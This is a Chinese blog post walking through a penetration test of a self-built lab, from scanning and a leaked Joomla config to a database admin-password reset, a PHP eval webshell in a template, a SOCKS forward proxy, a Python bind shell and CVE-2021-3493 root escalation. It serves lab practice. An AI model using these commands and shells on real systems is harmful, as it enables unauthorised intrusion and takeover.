对自建靶场的一次测试

本文最后更新于:2022-11-10 11:11

前言

这个靶场环境我是照着红日靶场3的环境搭建的,我搭建这个靶场是因为有需要用到对中间 Ubuntu 的测试,所以后面的 Windows 主机,emm,就没有放进环境。也就是说这个靶场只有两台主机:

  • 反向代理服务器:Centos
  • web主机:Ubuntu

渗透的思路跟红日靶场3大致是一样的,我的目标是进入 Ubuntu 系统并提权,开始。

信息收集

首先进行信息收集,使用nmap192.168.221.133主机进行端口扫描。

1
nmap -Pn -A 192.168.221.133

发下目标主机开放了22、80、3306这几个端口,访问80网站看一下。

可以看到是使用小皮面板搭建的网站,不过这个不是重点,通过Wappalyzer插件我们可以看到,网站使用了Joomla内容管理系统,但是该 cms 的网站访问路径咱们还不知道。

使用dirsearch对网站进行目录扫描,发现网站目录下存在drupal、Joomla等网站目录。(Joomla 是我在db/dicc.txt中自己加的,因为 dirsearch 默认字典中只有小写的joomla

1
python3 dirsearch.py -u http://192.168.221.133 -e php

红日靶场3 web 环境使用的是Joomla,我们也用这个,访问http://192.168.221.133/Joomla,再次使用dirsearch进行目录扫描,原靶场环境只有一个 joomla,而我在靶机中继承了好几个 cms,所以才会多出上一步扫描。

1
python3 dirsearch.py -u http://192.168.221.133/Joomla -e php

在扫描结果中我们可以看到名为configuration.php~的文件,该文件可能为Joomla配置文件的备份,在配置文件中会有 joomla 数据库链接的用户名和密码等敏感内容。访问http://192.168.221.133/Joomla/configuration.php~

获取 webshell

在知道数据库的用户名密码后,我们如果能登录成功,就可以尝试修改后台用户的密码,再登录后台系统查找 web 漏洞,为获取 webshell 做准备。结合我们端口扫描时发现网站对外开放的3306端口,尝试登录主机数据库。

1
mysql -uroot -proot -h 192.168.221.133

成功登录主机 MySQL,数据库中存在joomla数据库,通过如下命令更新 web 后台管理员密码:

1
2
3
4
show databases;
use joomla;
select * from am2zu_users; // 获取管理员用户 admin 的 id
update am2zu_users set password='d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199' where id=607; // 密码明文 secret

更新完成后,访问http://192.168.221.133/Joomla/administrator,使用admin/secret登录后台。登录后,选择标题栏中的Extensions->Templages->Templates,访问模板界面。在模板界面中,可以对模板中的 PHP 代码进行编辑,编辑后的文件可以在未登录的情况下访问,这就导致写入 webshell 成为可能。

选择Beez3 Details and Files,选中index.php,在代码中,写入 webshell:@eval($_POST[cmd]);

写入后,点击左上角的Save按钮保存。之后使用蚁剑进行连接,连接路径:http://192.168.221.133/Joomla/templates/beez3/index.php

使用蚁剑的虚拟终端执行命令,发现我们的 IP 地址只有一个,而且是内网地址,说明目标使用了反向代理技术。并且我们的权限很低,为www用户。

提权

我们的目的是将 Ubuntu 进行提权,方便之后的案例测试。

在获取 webshell 之后,我们需要获取一个稳定的 shell 用于提权,而 webshell 使用的是瞬时协议,不能用于提权。而且,我们虽然获取到了 webshell,但是并不能使用反弹 shell 的方式获取一个稳定 shell,因为 Ubuntu 这台主机是不出网的,只能访问93.0/24段网络。也就是说我们不能使用反向代理,只能使用正向代理

这里我使用的代理工具是pystinger(毒刺)

将工具 webshell 目录中的porxy.php使用蚁剑上传到服务端中,访问该文件:http://192.168.221.133/Joomla/templates/beez3/proxy.php,如果页面显示为UTF-8,说明 PHP 文件解析正常。

之后还需要将服务端stinger_server上传到服务端中,添加执行权限后执行。

执行完成之后,将stinger_client拷贝到攻击端,在客户端中使用如下命令与服务端建立sock4代理,有以下输出表示成功。

1
./stinger_client -w http://192.168.221.133/Joomla/templates/beez3/proxy.php -l 127.0.0.1 -p 60000

使用root权限,修改攻击端 kali 中的/etc/proxychains4.conf配置文件。将代理地址修改为60000

修改完成后,使用proxychains4 nc 192.168.93.129 80进行测试,如果响应如下,说明代理正常。

socks 连接已经建立,接下来我们需要获取 shell。我们建立的是正向代理,所以只能 Ubuntu 开启监听,我们去连接它。不要在蚁剑中使用 nc,在 Ubuntu 中存在python环境,我们可以上传 py 脚本用来开启监听端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',9898))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)

使用python2版本执行,执行后,会话会处于阻塞状态,在攻击端,使用如下命令进行连接,连接成功后便可以执行命令。

1
proxychains4 nc 192.168.93.129 9898

使用python3 -c 'import pty; pty.spawn("/bin/bash")'命令,获得一个略微好使一点的 shell。现在我们可以进行提权了。Ubuntu 的提权漏洞还是挺多的,我使用的是CVE-2021-3493。将提权文件通过蚁剑上传到目标机中,编译并执行。

至此我们已经提权成功了。


对自建靶场的一次测试
https://ahtoh.cn/2022/08/14/对自建靶场的一次测试/
作者
ahtoh
发布于
2022-08-14 18:54
许可协议